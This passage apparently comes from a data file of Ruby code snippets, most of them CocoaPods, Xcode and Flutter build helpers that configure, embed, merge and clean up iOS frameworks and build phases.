other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "def keep_source_code_for_prebuilt_frameworks!\n DSL.dont_remove_source_code = true\n end", "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def auto_process_target(app_target_names, embedded_target_name, installer)\n words = find_words_at_embedded_target('Pods-' + embedded_target_name,\n installer)\n handle_app_targets(app_target_names.map{ |str| 'Pods-' + str },\n words,\n installer)\nend", "def use_frameworks!(flag = true)\n current_target_definition.use_frameworks!(flag)\n end", "def exclude_simulator_archs(installer)\n Pod::UI.puts \"Fixing Xcode 12 duplicate architectures\"\n\n installer.pods_project.targets.each do |target|\n target.build_configurations.each do |config|\n config.build_settings['EXCLUDED_ARCHS[sdk=*simulator*]'] = 'arm64 arm64e armv7 armv7s armv6 armv8'\n end\n end\n\n installer.pods_project.save\nend", "def mobile_sdk_pre_install(installer)\n dynamic_framework = ['SalesforceAnalytics', 'SalesforceSDKCore', 'SalesforceSDKCommon', 'SmartStore', 'FMDB', 'SQLCipher', 'MobileSync']\n installer.pod_targets.each do |pod|\n if dynamic_framework.include?(pod.name)\n def pod.build_type\n Pod::BuildType.dynamic_framework\n end\n end\n end\nend", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def test_framework_runtimes\n find_duplicates :frameworks\n end", "def build_framework?; build.include? 'framework'; end", "def embed_frameworks_input_paths(framework_paths, xcframeworks)\n input_paths = framework_paths.map(&:source_path)\n # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices\n xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework|\n name = xcframework.name\n input_paths << \"#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}\"\n end\n input_paths\n end", "def add_frameworks_bundles\n UI.message '- Adding frameworks' do\n add_file_accessors_paths_to_pods_group(:vendored_frameworks, :frameworks)\n end\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def flutter_additional_ios_build_settings(target)\n return unless target.platform_name == :ios\n\n # [target.deployment_target] is a [String] formatted as \"8.0\".\n inherit_deployment_target = target.deployment_target[/\\d+/].to_i < 11\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3.\n force_to_arc_supported_min = target.deployment_target[/\\d+/].to_i < 9\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios', 'Flutter.xcframework'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # iOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --ios\\\" is executed first\"\n end\n\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios-release', 'Flutter.xcframework'), __FILE__)\n # Bundles are com.apple.product-type.bundle, frameworks are com.apple.product-type.framework.\n target_is_resource_bundle = target.respond_to?(:product_type) && target.product_type == 'com.apple.product-type.bundle'\n\n target.build_configurations.each do |build_configuration|\n # Build both x86_64 and arm64 simulator archs for all dependencies. If a single plugin does not support arm64 simulators,\n # the app and all frameworks will fall back to x86_64. Unfortunately that case is not detectable in this script.\n # Therefore all pods must have a x86_64 slice available, or linking a x86_64 app will fail.\n build_configuration.build_settings['ONLY_ACTIVE_ARCH'] = 'NO' if build_configuration.type == :debug\n\n # Workaround https://github.com/CocoaPods/CocoaPods/issues/11402, do not sign resource bundles.\n if target_is_resource_bundle\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_IDENTITY'] = '-'\n build_configuration.build_settings['EXPANDED_CODE_SIGN_IDENTITY'] = '-'\n end\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n build_configuration.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '9.0' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'Flutter' }\n\n # Bitcode is deprecated, Flutter.framework bitcode blob will have been stripped.\n build_configuration.build_settings['ENABLE_BITCODE'] = 'NO'\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n Dir.new(configuration_engine_dir).each_child do |xcframework_file|\n next if xcframework_file.start_with?('.') # Hidden file, possibly on external disk.\n if xcframework_file.end_with?('-simulator') # ios-arm64_x86_64-simulator\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphonesimulator*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n elsif xcframework_file.start_with?('ios-') # ios-arm64\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphoneos*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n # else Info.plist or another platform.\n end\n end\n build_configuration.build_settings['OTHER_LDFLAGS'] = '$(inherited) -framework Flutter'\n\n build_configuration.build_settings['CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER'] = 'NO'\n # Suppress warning when pod supports a version lower than the minimum supported by Xcode (Xcode 12 - iOS 9).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'IPHONEOS_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Override legacy Xcode 11 style VALID_ARCHS[sdk=iphonesimulator*]=x86_64 and prefer Xcode 12 EXCLUDED_ARCHS.\n build_configuration.build_settings['VALID_ARCHS[sdk=iphonesimulator*]'] = '$(ARCHS_STANDARD)'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphonesimulator*]'] = '$(inherited) i386'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphoneos*]'] = '$(inherited) armv7'\n end\nend", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def globalSetup()\n # Build\n run(\"cd '#{Embedding::CODE_PATH}' && make clean && make\")\nend", "def fixup_framework_bundle(framework_path)\n\t# ensure the Resources directory exists under Versions/Current\n\t# and that it contains an Info.plist file.\n\t#\n\t# When the Qt 4 framework bundles are built, the Info.plist file\n\t# is incorrectly placed in Contents/Info.plist, so move it if necessary\n\tcontent_plist = \"#{framework_path}/Contents/Info.plist\"\n\tresource_dir = \"#{framework_path}/Resources\"\n\tresource_plist = \"#{resource_dir}/Info.plist\"\n\n\tFileUtils.mkpath \"#{framework_path}/Versions/Current/Resources\"\n\tFileUtils.ln_sf 'Versions/Current/Resources', \"#{framework_path}/Resources\"\n\n\tif File.exist?(content_plist) && !File.exist?(resource_plist)\n\t\tFileUtils.cp content_plist, resource_plist\n\tend\n\n\t# Remove anything from the root of the bundle which is not a symlink\n\t# or the 'Versions' directory - see link above to Apple's documentation\n\t# on the structure of framework bundles\n\tDir.foreach(framework_path) do |entry|\n\t\tnext if entry == '.' || entry == '..'\n\n\t\tfile_info = File.lstat(\"#{framework_path}/#{entry}\")\n\n\t\tif entry != 'Versions' && file_info.ftype != 'link'\n\t\t\t$stderr.puts \"Removing unexpected entry from framework bundle root #{framework_path}/#{entry}\"\n\t\t\tFileUtils.rm_rf \"#{framework_path}/#{entry}\"\n\t\tend\n\tend\nend", "def no_arc_files(target_name)\n source_files(target_name) do |file|\n has_compiler_flag(file, '-fno-objc-arc')\n end\n end", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def mobile_sdk_post_install(installer)\n installer.pods_project.targets.each do |target|\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n force_to_arc_supported_min = target.deployment_target.to_i < 9\n if force_to_arc_supported_min\n change_deployment_target(target, '9.0')\n end\n \n # Mobile SDK targets\n is_mobile_sdk_target = ['SalesforceAnalytics', 'SalesforceSDKCommon', 'SalesforceSDKCore', 'SmartStore', 'MobileSync', 'SalesforceReact', 'FMDB'].include?(target.name)\n if is_mobile_sdk_target\n change_deployment_target(target, '15.0')\n end\n end\nend", "def clean_up_csproj_resources(doc, app_dir)\n\n app_root = File.basename(app_dir)\n\n # Get all itemgroup elements that are not embedded\n non_embedded_files = XPath.match( doc, \"//ItemGroup/None\") + XPath.match( doc, \"//ItemGroup/Content\") + XPath.match( doc, \"//ItemGroup/Compile\")\n # Select the ones that are resources\n non_embedded_resources = non_embedded_files.select {|e| (e.attributes['Include'] || '') =~ /^#{app_root}\\\\/}\n # Change them to embedded\n non_embedded_resources.each {|element|\n puts \"Changing #{element.name} to EmbeddedResource: #{element.attributes['Include']}\"\n element.name = 'EmbeddedResource'\n }\n\n # Get all itemgroup elements that are embedded\n embedded_files = XPath.match( doc, \"//ItemGroup/EmbeddedResource\")\n # Select the ones that are resources\n embedded_resources = embedded_files.select {|e| (e.attributes['Include'] || '') =~ /^#{app_root}\\\\/}\n embedded_resources.each {|element|\n if element.delete_element('CopyToOutputDirectory')\n puts \"Removed 'CopyToOutputDirectory' for #{element.attributes['Include']}\"\n end\n }\nend", "def kernel_clean\n rm_f Dir[\"**/*.rbc\",\n \"**/.*.rbc\",\n \"kernel/**/signature.rb\",\n \"spec/capi/ext/*.{o,sig,#{$dlext}}\",\n \"runtime/**/load_order.txt\",\n \"runtime/platform.conf\"],\n :verbose => $verbose\nend", "def clean_runtime_dirs(options)\n dirs = []\n %w(dependencies build_dependencies repo).each do |dir|\n dirs << dir if options[dir.to_sym] == true\n end\n\n return if dirs.empty?\n\n dirs.map! { |dir| \"app-root/runtime/#{dir.gsub(/_/, '-')}/*\" }\n\n out, err, rc = run_in_container_context(\"shopt -s dotglob; rm -rf #{dirs.join(' ')}\",\n chdir: @container_dir,\n expected_exitstatus: 0)\n end", "def remove()\n CCProcess.start(\"sdk-manage --target --remove '#{@name}'\", (_ :removing_target) + \" #{@name}\", 60*15)\n @@targets.delete(@name)\n end", "def sort_project_build_phase\n puts \"Reordering build phase...\"\n\n project = Xcodeproj::Project.open(\"Traveloka.xcodeproj\")\n\n project.native_targets.each { |target|\n\n if target.name == \"Traveloka\" || target.name == \"Traveloka Staging\"\n # Take the native embed frameworks phase and pods build phases.\n native_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"Embed Frameworks\"\n }.first\n pods_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Embed Pods Frameworks\"\n }.first\n pods_copy_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Copy Pods Resources\"\n }.first\n\n index_native_embed_phase = target.build_phases.index(native_embed_phase)\n\n # Shift the phase to below embed frameworks phase in native build phase.\n if index_native_embed_phase < target.build_phases.length && (pods_embed_phase != nil && pods_copy_phase != nil)\n target.build_phases.delete(pods_embed_phase)\n target.build_phases.delete(pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_embed_phase)\n end\n end\n }\n\n project.save\n\n puts \"\\e[32m√ Build phase reorder complete!\\e[0m\"\nend", "def build_framework?; ARGV.include? '--framework'; end", "def include_framework(framework_name)\n framework_name = framework_name.to_sym\n Pakyow.frameworks[framework_name].new(self).boot\n (config.app.frameworks << framework_name).uniq!\n end", "def embedded_in?; false; end", "def clean\n build addl_cmake_bld_args: '--target clean'\n end", "def embedded?; false; end", "def remove_from_project\n build_files.each(&:remove_from_project)\n super\n end", "def update_frameworks(name)\n\n path = \"#{Dir.pwd}/#{name}.xcodeproj\"\n\n if !Dir.exist?(path) then\n puts \"No project!\"\n return\n end\n\n update_carthage()\n inject_frameworks(name)\nend", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def unbuild(verbose=false)\n say \"Removing stale assets...\" if verbose\n\n pipeline = BPM::Pipeline.new self\n asset_root = File.join root_path, 'assets'\n pipeline.buildable_assets.each do |asset|\n next if asset.logical_path =~ /^bpm_/\n asset_path = File.join asset_root, asset.logical_path\n next unless File.exists? asset_path\n say \"~ Removing #{asset.logical_path}\" if verbose\n FileUtils.rm asset_path\n\n # cleanup empty directories\n while !File.exists?(asset_path)\n asset_path = File.dirname asset_path\n FileUtils.rmdir(asset_path) if File.directory?(asset_path)\n if verbose && !File.exists?(asset_path)\n say \"~ Removed empty directory #{File.basename asset_path}\"\n end\n end\n end\n\n say \"\\n\" if verbose\n end", "def unload_target!\n listeners_for(:before_load_target).each(&:before_load_target)\n clear_dynamic_resources\n clear_dynamic_resources(:static)\n Origen::Pins.clear_pin_aliases\n $dut = nil\n end", "def embedded?; true; end", "def embedded?; true; end", "def cleanup_nontarget_files\n\n delete_dir = File.expand_path(File.join(app.build_dir, 'Resources/', 'Base.lproj/', 'assets/', 'images/'))\n\n puts_blue \"Cleaning up excess image files from target '#{options.Target}'\"\n puts_red \"Images for the following targets are being deleted from the build directory:\"\n\n (options.Targets.keys - [options.Target]).each do |target|\n\n puts_red \"#{target.to_s}\"\n Dir.glob(\"#{delete_dir}/**/#{target}-*.{jpg,png,gif}\").each do |f|\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n puts_red \"\\nImages prefixed all- are being deleted if a corresponding #{options.Target}- exists.\"\n\n Dir.glob(\"#{delete_dir}/**/all-*.{jpg,png,gif}\").each do |f|\n if File.exist?( f.sub(\"all-\", \"#{options.Target}-\") )\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n\n end", "def _validate_weak_frameworks(frameworks)\n if frameworks_invalid?(frameworks)\n results.add_error('weak_frameworks', 'A weak framework should only be' \\\n ' specified by its name')\n end\n end", "def clear_compiler_like! *keys\n clear_compiler_like *keys\n ipcm_trigger :clear_compiler_like, *keys\nend", "def remove_unused_dependencies\n # puts 'removing unused dependencies list.'\n dependencies = @target.dependencies\n dependencies.each do |dependency|\n dependency.remove_from_project if unused_dependencies_list.include? dependency.display_name\n end\n end", "def stop_framework\n @fw_thread.exit unless @fw_thread.nil?\n end", "def clean(*includes)\n Rake.application.IncludeCleanTargets(includes)\n end", "def compile_web\n\n # Check for compiler toolchain issues\n if doctor_web(:building)\n puts \"Fix errors before building.\\n\\n\"\n end\n\n wasm_assets = \"#{Ruby2D.assets}/wasm\"\n\n # Get include directories\n incl_dir_ruby2d = \"#{Ruby2D.gem_dir}/ext/ruby2d/\"\n incl_dir_deps = \"#{Ruby2D.assets}/include/\"\n\n optimize_flags = '-Os --closure 1'\n ld_flags = \"#{wasm_assets}/libmruby.a\"\n\n # Compile using Emscripten\n run_cmd \"emcc -s WASM=1 -I#{incl_dir_ruby2d} -I#{incl_dir_deps} \"\\\n \"-s USE_SDL=2 -s USE_SDL_IMAGE=2 -s USE_SDL_MIXER=2 -s USE_SDL_TTF=2 \"\\\n \"build/app.c #{ld_flags} -o build/app.html\"\n\n # TODO: Copy HTML template from gem assets to build directory\n # FileUtils.cp \"#{wasm_assets}/template.html\", 'build/app.html'\n\n exit(1) unless $?.success?\nend", "def clean_pod_sources\n return unless installation_options.clean?\n return if installed_specs.empty?\n pod_installers.each(&:clean!)\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def before_destroy\n # cwd: utunes_app\n logger.info(\"=======> before_destroy invoked!\")\n\n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n logger.info(\"rm -R #{bundle_fq_name}\")\n logger.info( %x[rm -R #{bundle_fq_name}] )\n \n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def uninstall(assets); end", "def clear_compiler! *keys\n clear_compiler *keys\n ipcm_trigger :clear_compiler, *keys\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def target_frameworks\n if netcore?\n tfw = @proj_xml_node.css('Project PropertyGroup TargetFramework').inner_text\n tfws = @proj_xml_node.css('Project PropertyGroup TargetFrameworks').inner_text\n nfws = if tfw.nil? || tfw == '' then tfws else tfw end\n fws = nfws.split(';')\n else\n [ target_framework ]\n end\n end", "def integrate!\n 